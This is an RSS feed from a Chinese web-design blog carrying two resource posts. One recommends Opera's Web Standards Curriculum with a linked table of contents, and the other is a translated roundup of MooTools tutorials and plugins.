<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CSSrainbow.cn &#187; 读书</title>
	<atom:link href="http://cssrainbow.cn/tag/study/feed" rel="self" type="application/rss+xml" />
	<link>http://cssrainbow.cn</link>
	<description>Sharing what I know and learn about (X)HTML,CSS,JavaScript,MooTools,Dojo,jQuery,PHP,ASP,Java,Python and ∞.</description>
	<lastBuildDate>Sun, 05 Sep 2010 15:08:02 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Opera的Web标准课程（推荐）</title>
		<link>http://cssrainbow.cn/articles/resources/671.html</link>
		<comments>http://cssrainbow.cn/articles/resources/671.html#comments</comments>
		<pubDate>Mon, 31 Aug 2009 01:35:35 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[Resources]]></category>
		<category><![CDATA[Web Roundups]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Web标准]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=671</guid>
		<description><![CDATA[Opera的Web标准课程
对于想学习或者想从事Web前端设计与开发的人员和学生，在这里我强烈推荐《Opera Web标准课程》

Opera公司的开发人员关系部经理Chris Mills要向大家介绍他和其他很多人花费数月时间开发的一个课程——Web标准课程，

该课程旨在向大家提供Web设计和开发的坚实基础，无论读者是谁，此教程完全免费、可访问，并且不需要预备知识

以下文章都来自国际上比较知名的Web前端开发大师的手笔，文章质量很高，非常完美的教程。]]></description>
			<content:encoded><![CDATA[<h2> 引言</h2>
<p> 对于想学习或者想从事Web前端设计与开发的人员和学生，在这里我强烈推荐《Opera Web标准课程》</p>
<p>Opera公司的开发人员关系部经理Chris Mills要向大家介绍他和其他很多人花费数月时间开发的一个课程——Web标准课程，</p>
<p>该课程旨在向大家提供Web设计和开发的坚实基础，无论读者是谁，此教程完全免费、可访问，并且不需要预备知识</p>
<p>以下文章都来自国际上比较知名的Web前端开发大师的手笔，文章质量很高，非常完美的教程。</p>
<h2>目录</h2>
<p>请注意，迄今为止本课程下的39篇文章已经发布，还有10多篇文章也将尽快发布，组成完整的课程。</p>
<h3>开始篇</h3>
<ol>
<li><a href="http://kb.operachina.com/?q=wsc">序言，作者Chris Mills，就是您现在正读的这篇。</a></li>
</ol>
<p><span id="more-671"></span></p>
<h3>Web标准导论</h3>
<ol start="2">
<li><a href="http://kb.operachina.com/node/17">互联网和Web的历史，以及Web标准的演化</a>，作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/18">互联网是如何运转的？</a>作者Jonathan Lane</li>
<li><a href="http://kb.operachina.com/node/19">Web 标准所包括的模块——HTML、CSS 和 JavaScript</a>，作者 Jonathan Lane</li>
<li><a href="http://kb.operachina.com/node/20">梦想虽然很美，但实际上到底怎么样？</a>作者Jonathan Lane</li>
</ol>
<h3>Web设计概念</h3>
<p>这部分并不涉及代码或标记的细节知识，而是在你开始创建任何图形或代码前，帮助你了解Web设计过程，以及Web设计的一些基本概念，如信息架构、导航、可用性等。</p>
<ol start="6">
<li><a href="http://kb.operachina.com/node/21">信息架构——规划一个Web站点</a>，作者Jonathan Lane</li>
<li><a href="http://kb.operachina.com/node/22">一个好的网页需要什么？</a>作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/23">色彩理论</a>，作者Linda Goin</li>
<li><a href="http://kb.operachina.com/node/24">建立站点的线框图</a>，作者Linda Goin</li>
<li><a href="http://kb.operachina.com/node/25">配色方案和设计样板</a>，作者Linda Goin</li>
<li><a href="http://kb.operachina.com/node/26">网页排版</a>，作者Paul Haine</li>
</ol>
<h3>HTML基础</h3>
<ol start="12">
<li><a href="http://kb.operachina.com/node/27">HTML 基础知识</a>，作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/28">HTML 的 &lt;head&gt; 元素</a>，作者Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/29">为你的 HTML 文档选择适当的文档类型</a>，作者Roger Johansson</li>
</ol>
<h3>HTML正文</h3>
<ol start="15">
<li><a href="http://kb.operachina.com/node/30">在 HTML 中标记文本内容</a>，作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/31">HTML 列表</a>，作者Ben Buchanan</li>
<li><a href="http://kb.operachina.com/node/33">HTML中的图像</a>，作者Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/34">HTML链接——让我们建一张网吧！</a>作者Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/35">HTML表格</a>，作者Jen Hanen</li>
<li><a href="http://kb.operachina.com/node/36">HTML表单基础知识</a>，作者Jen Hanen</li>
<li><a href="http://kb.operachina.com/node/37">罕为人知的语义元素</a>，作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/38">通用容器－－div 和span元素</a>，作者Mark Norman Francis</li>
<li><a href="http://kb.operachina.com/node/39">使用导航菜单创建多页面</a>，作者Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/40">检验你的HTML</a>，作者Mark Norman Francis</li>
</ol>
<h3>可访问性</h3>
<ol start="25">
<li><a href="http://kb.operachina.com/node/41">可访问性基础知识</a>，作者Tom Hughes-Croucher</li>
<li><a href="http://kb.operachina.com/node/42">可访问性测试</a>，作者Benjamin Hawkes-Lewis</li>
</ol>
<h3>CSS样式</h3>
<ol start="27">
<li><a href="http://kb.operachina.com/node/43">CSS 基础知识</a>，作者Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/44">继承和层叠</a>，作者Tommy Olsson</li>
<li><a href="http://kb.operachina.com/node/45">使用CSS设置文本样式</a>，作者Ben Henick</li>
<li><a href="http://kb.operachina.com/node/46">CSS布局模型——boxes、borderes、margins、padding</a>，作者Ben Henick</li>
<li><a href="http://kb.operachina.com/node/47">CSS背景图片</a>，作者Nicole Sullivan</li>
<li><a href="http://kb.operachina.com/node/48">样式列表和链接</a>，作者Ben Buchanan</li>
<li><a href="http://kb.operachina.com/node/49">样式表格</a>，作者Ben Buchanan</li>
<li><a href="http://kb.operachina.com/node/50">样式表单</a>，作者Ben Henick</li>
<li><a href="http://kb.operachina.com/node/51">浮动及清除</a>，作者Tommy Olsson</li>
<li><a href="http://kb.operachina.com/node/52">CSS的静态和相对定位</a>，作者Tommy Olsson</li>
<li><a href="http://kb.operachina.com/node/53">CSS 的绝对和固定定位</a>，作者Tommy Olsson</li>
</ol>
<h3>高级 CSS 研究</h3>
<ol start="38">
<li><a href="http://kb.operachina.com/node/103">页首、页脚、列和模板</a>，作者 Ben Henick</li>
</ol>
<h3>JavaScript 核心技巧</h3>
<ol start="39">
<li><a href="http://kb.operachina.com/node/104">程序设计——真正的基础！</a>作者 Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/105">你可以用 JavaScript 做什么？</a>，作者 Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/106">初识 JavaScript</a>，作者 Christian Heilmann</li>
<li><a href="http://kb.operachina.com/node/107">JavaScript 最佳实践</a>，作者 Christian Heilmann (未完成)</li>
<li><a href="http://kb.operachina.com/node/108">非干扰性 JavaScript 的原则</a>，作者 by PPK</li>
<li><a href="http://kb.operachina.com/node/109">JavaScript 函数</a>，作者 Mike West</li>
<li><a href="http://kb.operachina.com/node/110">JavaScript 中的对象</a>，作者 Mike West</li>
<li><a href="http://kb.operachina.com/node/111">DOM 之旅</a>，作者 Mike West</li>
<li><a href="http://kb.operachina.com/node/112">HTML 的创建和修改</a>，作者 Stuart Langridge</li>
<li><a href="http://kb.operachina.com/node/113">动态样式——用 JavaScript 操作 CSS</a>，作者 Greg Schechter</li>
<li><a href="http://kb.operachina.com/node/114">用 JavaScript 处理事件</a>，作者 Robert Nyman</li>
<li><a href="http://kb.operachina.com/node/115">JavaScript 动画</a>，作者 Stuart Langridge</li>
<li><a href="http://kb.operachina.com/node/116">平稳退化对渐进增强</a>，作者 Christian Heilmann</li>
</ol>
<h3>补充文章</h3>
<ul>
<li><a href="http://kb.operachina.com/node/54">将你的内容发布到网上</a>，作者Craig Grannell.</li>
<li><a href="http://kb.operachina.com/node/55">有关文档中 &lt;head&gt; 元素的更多知识</a>，作者Chris Heilmann.</li>
<li><a href="http://kb.operachina.com/node/56">补充材料：用于排版的通用HTML实体</a>，作者Ben Henick.</li>
<li><a href="http://kb.operachina.com/node/57">Opera公司Web标准课程词汇表</a>，由多人撰写。本目录尚不完整，将随时添加。</li>
</ul>
<p><strong>更多精彩文章在</strong> <a href="#">http://kb.operachina.com/?q=wsc</p>
<p>  </a></p>
<h2>支持一下Opera浏览器</h2>
<p>在这里我推荐大家使用Opera浏览器，它和火狐一样都推动了Web标准的发展。</p>
<p>Opera 桌面浏览器 和 Opera Mini 手机浏览器 的官方下载地是：<a href="http://www.operachina.com/">http://www.operachina.com/</a></p>
<p><strong>关于 <a href="http://www.operachina.com/">Opera</a> </strong></p>
<p>Opera Software ASA 是台式机、各种设备和移动网络浏览器市场的商业领袖。Opera 浏览器因为它的快速、小巧和比其他浏览器更佳的标准兼容性获得了国际上的最终用户和业界媒体的承认，并在网上受到很多人的推崇。</p>
<p> Opera Software 开发的 Opera 浏览器是一款适用于各种平台、操作系统和嵌入式网络产品的高品质、多平台产品。我们通过最先进的技术、创新、领导能力和合作能力，力争为您提供出众的网络体验。</p>
<p><strong>关于 <a href="http://www.operachina.com/">Opera 中国</a></strong></p>
<p>
    Opera 中国于2006年4月正式成立，致力于建立中国顶尖的浏览器研发团队，向中国用户提供最好的互联网体验，支持opera爱好者的开发和社区活动，为在中国倡导开放的网络标准做出自己贡献。    </p</p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/19 -- <a href="http://cssrainbow.cn/articles/general/646.html" title="Web前端开发需要掌握的技能(图解)">Web前端开发需要掌握的技能(图解)</a> (0)</li><li>2010/03/04 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/1137.html" title="Web 设计中的 5 个最具争议性的话题">Web 设计中的 5 个最具争议性的话题</a> (0)</li><li>2010/01/26 -- <a href="http://cssrainbow.cn/articles/resources/1033.html" title="网页设计中的面包屑导航：实例和最佳做法">网页设计中的面包屑导航：实例和最佳做法</a> (0)</li><li>2009/10/20 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/779.html" title="让XHTML/CSS页面可正常打印 (收藏)">让XHTML/CSS页面可正常打印 (收藏)</a> (0)</li><li>2009/09/15 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/718.html" title="漫画：混乱的标记语言XHTML2/HTML5">漫画：混乱的标记语言XHTML2/HTML5</a> (0)</li><li>2009/07/08 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/290.html" title=" 36种Web标准的最佳做法"> 36种Web标准的最佳做法</a> (1)</li><li>2009/06/12 -- <a href="http://cssrainbow.cn/tutorials/javascript/339.html" title="说说掌握JavaScript语言的思想前提">说说掌握JavaScript语言的思想前提</a> (0)</li><li>2009/06/04 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/318.html" title="用CSS做一个漂亮的搜索框">用CSS做一个漂亮的搜索框</a> (0)</li><li>2009/06/02 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/312.html" title="纯Css实现的垂直导航条(CSS Vertical Navigation)">纯Css实现的垂直导航条(CSS Vertical Navigation)</a> (0)</li><li>2009/04/30 -- <a href="http://cssrainbow.cn/tutorials/xhtml-css/183.html" title="仰望DIV + CSS &#8212; web2.0的过度标准">仰望DIV + CSS &#8212; web2.0的过度标准</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/671.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MooTools国外的教程和资源大集合</title>
		<link>http://cssrainbow.cn/articles/resources/625.html</link>
		<comments>http://cssrainbow.cn/articles/resources/625.html#comments</comments>
		<pubDate>Thu, 13 Aug 2009 07:15:48 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[MooTools]]></category>
		<category><![CDATA[Resources]]></category>
		<category><![CDATA[MooTools-Plugins]]></category>
		<category><![CDATA[MooTools1.2]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=625</guid>
		<description><![CDATA[MooTools国外的教程和资源大集合]]></description>
			<content:encoded><![CDATA[<h1 align="center">MooTools教程和资源大集合</h1>
<h2>MooTools Tutorials and Resources Round-Up</h2>
<p>MooTools is a JavaScript framework that focus on being <strong>flexible,   modular and compact</strong>. While still not on par in number of resources with   other JavaScript frameworks such as jQuery, the MooTools community has generated   a large number of articles, tutorials and third party plugins that can be   considered and mature and sophisticated enough for most needs.</p>
<p>   原文地址：<a href="http://www.smashingmagazine.com/2009/07/28/mootools-tutorials-and-resources-round-up/">http://www.smashingmagazine.com</a></p>
<p>作者：Diogo Terror</p>
<h3>A word about MooTools</h3>
<p>One of the core principles of MooTools is to provide a better application   programming interface for JavaScript developers, making the language better by   extending its native elements and providing more concise object oriented   utilities.</p>
<p><span id="more-625"></span></p>
<p>As a consequence of that, some people may be inclined to think that MooTools   treats browser scripting as a less important feature. Indeed, MooTools is not a   DOM scripting toolkit, but the whole purpose of making JavaScript better is that   developers have a more solid base over which to create readable, robust,   reusable browser scripting libraries.</p>
<h3>Articles/Tutorials</h3>
<h4>Starting points</h4>
<p><a href="http://www.mootools.net/docs/">The official documentation</a><br />
  A   really good and complete documentation. It has a very intuitive format that   makes it both an excellent reference and tutorial.</p>
<p><img alt="Official Documentation" src="http://cssrainbow.cn/Mootools/demo3/official_docs.jpg" /> </p>
<p><a href="http://jqueryvsmootools.com/">jQuery vs MooTools</a><br />
  A mature   discussion on the differences between jQuery and MooTools.</p>
<p><strong>MooTools for the non-programmer</strong><br />
  A three part series of   tutorials about MooTools targeted at non-programmers:</p>
<ul>
<li><a href="http://www.prime31.com/Blog/mootools/mootools-12-for-the-non-programmer/">Part   1</a> </li>
<li><a href="http://www.prime31.com/Blog/mootools/mootools-12-for-the-non-programmer-part-2/">Part   2</a> </li>
<li><a href="http://www.prime31.com/Blog/mootools/mootools-12-for-the-non-programmer-part-3/">Part   3</a> </li>
</ul>
<p><a href="http://walkthrough.ifupdown.com/">The MooWalkthrough</a><br />
  A   wiki-based walk through MooTools intended to introducing the library.</p>
<p><a href="http://www.mootorial.com/wiki/mootorial">The MooTorial</a><br />
  A   collection of tutorials to guide MooTools’ newcomers.</p>
<p><img alt="MooTorial" src="http://cssrainbow.cn/Mootools/demo3/mootorial.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mootorial.jpg" /></p>
<p><a href="http://mootools.net/blog/2008/02/05/mootools-classes-how-to-use-them/">MooTools   classes</a><br />
  A basic view on MooTools’ use of classes and how it compares to   other approaches.</p>
<p><a href="http://mootools.net/blog/2007/10/31/mootools-foundations-natives-and-elements/">Natives   and Elements</a><br />
  Explains what are native types in JavaScript and how   MooTools extends and provide means for anyone to extend their functionality. It   also explains the Element class.</p>
<p><a href="http://cssgallery.info/a-beginners-mootools-select-and-create-elements/">Select   and create elements</a><br />
  Tutorial on how to select specific elements as well   as how to create and insert new elements on the page.</p>
<p><strong>30 days of MooTools</strong><br />
  A series of tutorials about key   features in MooTools. (It is still incomplete &#8211; it currently has 23   tutorials)</p>
<ol>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-1-intro-to-the-library/">Intro   to the Library</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-2-selectors/">Selectors</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-3-intro-to-using-arrays/">Intro   to Using Arrays</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-4-functions/">Functions</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-5-event-handling/">Event   Handling</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-6-manipulating-html/">Manipulating   HTML</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-7-set-and-get-style-properties/">Set   and Get Style Properties</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-8-input-filtering-part-i-numbers/">Input   Filtering Part I &#8211; Numbers</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-9-input-filtering-strings/">Input   Filtering Part II &#8211; Strings</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-10-tween-morph-and-transitions/">Using   FX.Tween</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-11-using-fxmorph-fx-options-and-fx-events/">Using   Fx.Morph, Fx Options and Fx Events</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-12-drag-and-drop-using-dragmove/">Drag   and Drop using Drag.Move</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-13-regular-expressions/">Regular   Expressions</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/08/30-days-of-mootools-12-tutorials-day-14-periodical-and-intro-to-hashes/">Periodical   and Intro to Hashes</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-15-sliders/">Sliders</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-16-sortables30-days-of-mootools-12-tutorials-day-16-sortables-and-intro-to-methods/">Sortables   and Intro to Methods</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-17-accordion/">Accordion</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-18-classes-part-i/">Classes   part I</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-19-tooltips/">Tooltips</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-20-a-few-mootools-tabs/">A   Few Mootools Tabs</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/09/30-days-of-mootools-12-tutorials-day-21-classes-part-ii/">Classes   part II</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/12/30-days-of-mootools-12-tutorials-day-22-fxelements/">Fx.Elements</a> </li>
<li><a href="http://www.consideropen.com/blog/2008/12/30-days-of-mootools-12-tutorials-day-23-fxslide/">Fx.Slide</a> </li>
</ol>
<h4>Intermediate</h4>
<p><a href="http://davidwalsh.name/facebook-modal-mootools">Facebook modal   box</a><br />
  It reproduces Facebook’s modal box in MooTools. A Very simple   solution to get a Facebook-style modal box without the need of any external   plugin.</p>
<p><a href="http://davidwalsh.name/custom-missing-image">Using custom missing   image graphics</a><br />
  A very elegant and extremely simple solution to handling   missing image graphics with a custom fallback image.</p>
<p><a href="http://davidwalsh.name/email-image-error-mootools">Sending Email   notifications for broken images</a><br />
  A logic follow-up to the previous   tutorial. It shows how to use AJax and PHP to send email notification on the   occurrence of broken images.</p>
<p><a href="http://davidwalsh.name/skype-mootools">Skype-style   buttons</a><br />
  How to create a Skype-style button.</p>
<p><img alt="skype style" src="http://cssrainbow.cn/Mootools/demo3/skype_style.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/skype_style.jpg" /></p>
<p><a href="http://davidwalsh.name/mootools-flashlight">MooTools Flashlight   effect</a><br />
  An eccentric, however interesting effect.</p>
<p><img alt="Flashlight" src="http://cssrainbow.cn/Mootools/demo3/flashlight.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/flashlight.jpg" /></p>
<p><a href="http://davidwalsh.name/snook-navigation-mootools">Snook-style   navigation</a><br />
  A MooTools revisit of a <a href="http://snook.ca/archives/javascript/jquery-bg-image-animations/)">tutorial</a> by Jonathan Snook.</p>
<p><a href="http://davidwalsh.name/ajax-mootools-fx-explode">Explode effect on   Ajax page loads</a><br />
  How to create an effect that makes the current content   ‘explode’ off-screen while another content is fetched and loaded via ajax.</p>
<p><a href="http://davidwalsh.name/mootools-font-size-scroller-cookie-save">Font-Size   scroller with Cookie save</a><br />
  Shows how to create a scroller that sets the   font-size and store this information in a cookie.</p>
<p><img alt="font-size Scroller" src="http://cssrainbow.cn/Mootools/demo3/scroller.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/scroller.jpg" /></p>
<p><a href="http://davidwalsh.name/track-ajax-link-clicks-google-analytics">Track Ajax   link clicks using Google Analytics</a><br />
  A very insightful solution to tracking   ajax-based navigation in Google Analytics.</p>
<p><a href="http://davidwalsh.name/periodical-ajax-requests-mootools-12">Periodicar   Ajax updates using MooTools</a><br />
  Shows how to implement a very simple function   that periodically makes a ajax request on the background.</p>
<p><a href="http://devthought.com/tumble/2009/04/determine-if-caps-lock-is-on-with-mootools/">helps   you determine if caps lock is on</a><br />
  A nice and simple technique for easily   determining if caps lock in on. Might help improve usability, specially in login   scenarios.</p>
<p><img alt="Caps Lock on" src="http://cssrainbow.cn/Mootools/demo3/caps_lock_on.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/caps_lock_on.jpg" /></p>
<p><a href="http://woork.blogspot.com/2008/03/using-css-and-mootools-to-simulate.html">Simulate   Flash horizontal navigation</a><br />
  Tutorial on how to create a horizontal   navigation web site.</p>
<p><a href="http://net.tutsplus.com/tutorials/javascript-ajax/create-a-simple-powerful-product-highlighter-with-mootools/">Product   Highlighter</a><br />
  Slick rollover mechanism that works well as a product   highlighter.</p>
<p><img alt="Product Highlighter" src="http://cssrainbow.cn/Mootools/demo3/product_highlighter.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/product_highlighter.jpg" /></p>
<p><a href="http://sixrevisions.com/tutorials/mootools-tutorials/how-to-auto-caption-images-using-mootools/">Auto   caption images</a><br />
  How to automatically extract alt and title content and add   it as captions to images on the page.</p>
<p><a href="http://blog.kassens.net/toelement-method">toElement   method</a><br />
  Explains and shows an interesting use case for the toElement   method in MooTools.</p>
<p><a href="http://blog.kassens.net/outerclick-event">outerClick event</a><br />
  An   implementation of a custom event for when a user clicks outside of a given   element.</p>
<p><a href="http://pilon.nl/mootools/2008/12/19/saving-a-sortable-nested-list-mootools-12/">Saving   a sortalbe nested list</a><br />
  A tutorial with a full implementation of a   sortable nested list, from MooTools to MySQL.</p>
<p><a href="http://blog.gonchuki.com/archives/css-sprites2-its-mootools-time/">CSS   sprites with MooTools</a><br />
  A MooTools version of an article published on <em>A   List Apart</em> about CSS sprites using jQuery.</p>
<p><img alt="Sprites" src="http://cssrainbow.cn/Mootools/demo3/sprites.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/sprites.jpg" /></p>
<p><a href="http://mootools.net/blog/2008/02/12/whats-new-in-12-swiff/">Swiff</a><br />
  Explains   what is the Swiff class and how it can be used to make flash elements   communicate with JavaScript.</p>
<p><a href="http://davidwalsh.name/sifr-print-css-mootools">Fixing sIFR printing   with CSS and MooTools</a><br />
  The use of sIRF can help you achieve the typography   you want on the screen, but there may be problems when the user tries to print   the page. This article shows how to work around that.</p>
<h4>Advanced Topics</h4>
<p><a href="http://mootools.net/blog/2009/06/22/the-dollar-safe-mode/">The   Dollar Safe Mode</a><br />
  An article explaining a good practice for plugin   developers that want to make their libraries compliant with “MooTools 1.2.3   Dollar Safety”, which means that it respects the global name $ in edge cases   where people need to use more than one JavaScript library at the same time.</p>
<p><a href="http://davidwalsh.name/mootools-custom-event">Custom Events</a><br />
  A   nice example on how to define and explore custom events (such as alt+clicking)   in MooTools.</p>
<p><img alt="Custom Events" src="http://cssrainbow.cn/Mootools/demo3/custom_event.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/custom_event.jpg" /></p>
<p><a href="http://mootools.net/blog/2008/01/22/whats-new-in-12-element-storage/">Element   Storage</a><br />
  An overview on the Element Storage functionality. How it works   and how it could be used to make code easier to write and better organised.</p>
<p><a href="http://www.daniel-skinner.co.uk/chaining-with-mootools-12-tutorial/31/01/2008">Chaining   with MooTools</a><br />
  A guide to the MooTools’s Chain class and how it can be   used in custom classes.</p>
<p><img alt="Chaining" src="http://cssrainbow.cn/Mootools/demo3/chaining.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/chaining.jpg" /></p>
<p><a href="http://davidwalsh.name/mootools-style-media">Set style per   media</a><br />
  Using JavaScript for dynamic styling may defeat the purpose of   having a style for each media, this tutorial shows one way to be media-specific   while dynamically changing CSS properties.</p>
<p><a href="http://davidwalsh.name/create-custom-pseudo-selector-mootools-selected">Creating   a custom “:selected” pseudo-class in MooTools</a><br />
  How to create your own   pseudo-class selector in MooTools.</p>
<p><a href="http://www.nwhite.net/2008/10/06/mouse-ghost/">The Mouse   Ghost</a><br />
  An interesting experiment on saving the cursor coordinates and then   reproducing its movements.</p>
<p><img alt="Ghost Mouse" src="http://cssrainbow.cn/Mootools/demo3/ghost_mouse.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/ghost_mouse.jpg" /></p>
<p><a href="http://www.clientcide.com/best-practices/5-advanced-techniques-for-mootools-development/">5   Advanced techniques for MooTools development</a><br />
  Things that you don’t get by   reading documentation.</p>
<p><a href="http://devthought.com/blog/client-side/2009/03/dont-repeat-your-moo/">Don’t   repeat your Moo</a><br />
  A very insightful article on how to achieve reusability   in your JavaScript code with MooTools, adhering to the DRY (Don’t Repeat   Yourself) principle.</p>
<p><img alt="dont repeat your moo" src="http://cssrainbow.cn/Mootools/demo3/dont_repeat_your_moo.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/dont_repeat_your_moo.jpg" /></p>
<p><a href="http://www.nwhite.net/2008/10/10/private-methods-with-mootools-update2/">Private   methods in MooTools</a><br />
  Shows how to implement private methods in JavaScript   with MooTools.</p>
<p><a href="http://www.nwhite.net/2008/10/10/mootools-singleton-class-mutator/">The   Singleton class mutator</a><br />
  A tutorial that shows how to write a class   mutator that implements the singleton design pattern. A class mutator is a   macro-like method/idiom to be used inside a class definition</p>
<p><a href="http://www.clientcide.com/code-releases/classbinds-for-mootols-is-back/">Binds   class mutator</a><br />
  A mutator that binds a method to the instance of a class so   that it can be accessed thorough the ‘this’ keyword even in the class   definition.</p>
<p>
  <!-- PLUGINS -->
</p>
<h3>Plugins</h3>
<p><a href="http://davidwalsh.name/smooth-scroll-mootools">SmoothScroll</a><br />
  Scroll   smoothly through anchors within a single page.</p>
<p><a href="http://www.rborn.info/blog/kroppr-image-cropping-script/">Kroppr</a><br />
  A   full-fledged image cropping/resizing/rotating plugin.</p>
<p><img alt="Kroppr" src="http://cssrainbow.cn/Mootools/demo3/kroppr.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/kroppr.jpg" /></p>
<p><a href="http://www.artviper.net/moosocialize.php">mooSocialize</a><br />
  A   widget bar that manages a wide variety of social bookmarking and social network   content sharing systems.</p>
<p><a href="http://dansnetwork.com/mootools/events-calendar/">MooTools Event   Calendar </a><br />
  A MooTools Calendar class that supports week/day/month view and   the addition of events.</p>
<p><img alt="Calendar" src="http://cssrainbow.cn/Mootools/demo3/calendar.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/calendar.jpg" /></p>
<p><a href="http://www.silverscripting.com/pamoorama/index.php">Pamoorama</a><br />
  It   creates a container div that allows users to scroll through a containing image.   Its intended use case if to horizontally scroll through a panorama image.</p>
<p><img alt="Pamoorama" src="http://cssrainbow.cn/Mootools/demo3/pamoorama.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/pamoorama.jpg" /></p>
<p><a href="http://www.phatfusion.net/slider/">Slider</a><br />
  A Slider plugin   that supports both vertical and horizontal bars that can be freely dragged or   snap to predefined steps.</p>
<p><a href="http://www.phatfusion.net/sortabletable/">SortableTable</a><br />
  Sort   and filter tables.</p>
<p><a href="http://www.unwieldy.net/moowheel/">MooWheel</a><br />
  A data   visualisation plugin that explores the possibilities of the canvas element.</p>
<p><img alt="MooWheel" src="http://cssrainbow.cn/Mootools/demo3/moowheel.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/moowheel.jpg" /></p>
<p><a href="http://neofreeman.freepgs.com/Moousture/">Moosture </a><br />
  A Mouse   gesture framework that allow you to trigger an event based on a predefined mouse   gesture.</p>
<p><img alt="Moosture" src="http://cssrainbow.cn/Mootools/demo3/moosture.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/moosture.jpg" /></p>
<p><a href="http://dev.justinmaier.com/inlineEdit/">inlineEdit</a><br />
  An inline   editor plugin that makes all elements with a specified class name editable and   adds a special onSave hook method to save the changes.</p>
<h4>Navigation</h4>
<p><a href="http://www.phatfusion.net/imagemenu/">Image Menu</a><br />
  A horizontal   menu that reveals more of the image as you rollover it.</p>
<p><img alt="Image Menu" src="http://cssrainbow.cn/Mootools/demo3/image_menu.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/image_menu.jpg" /></p>
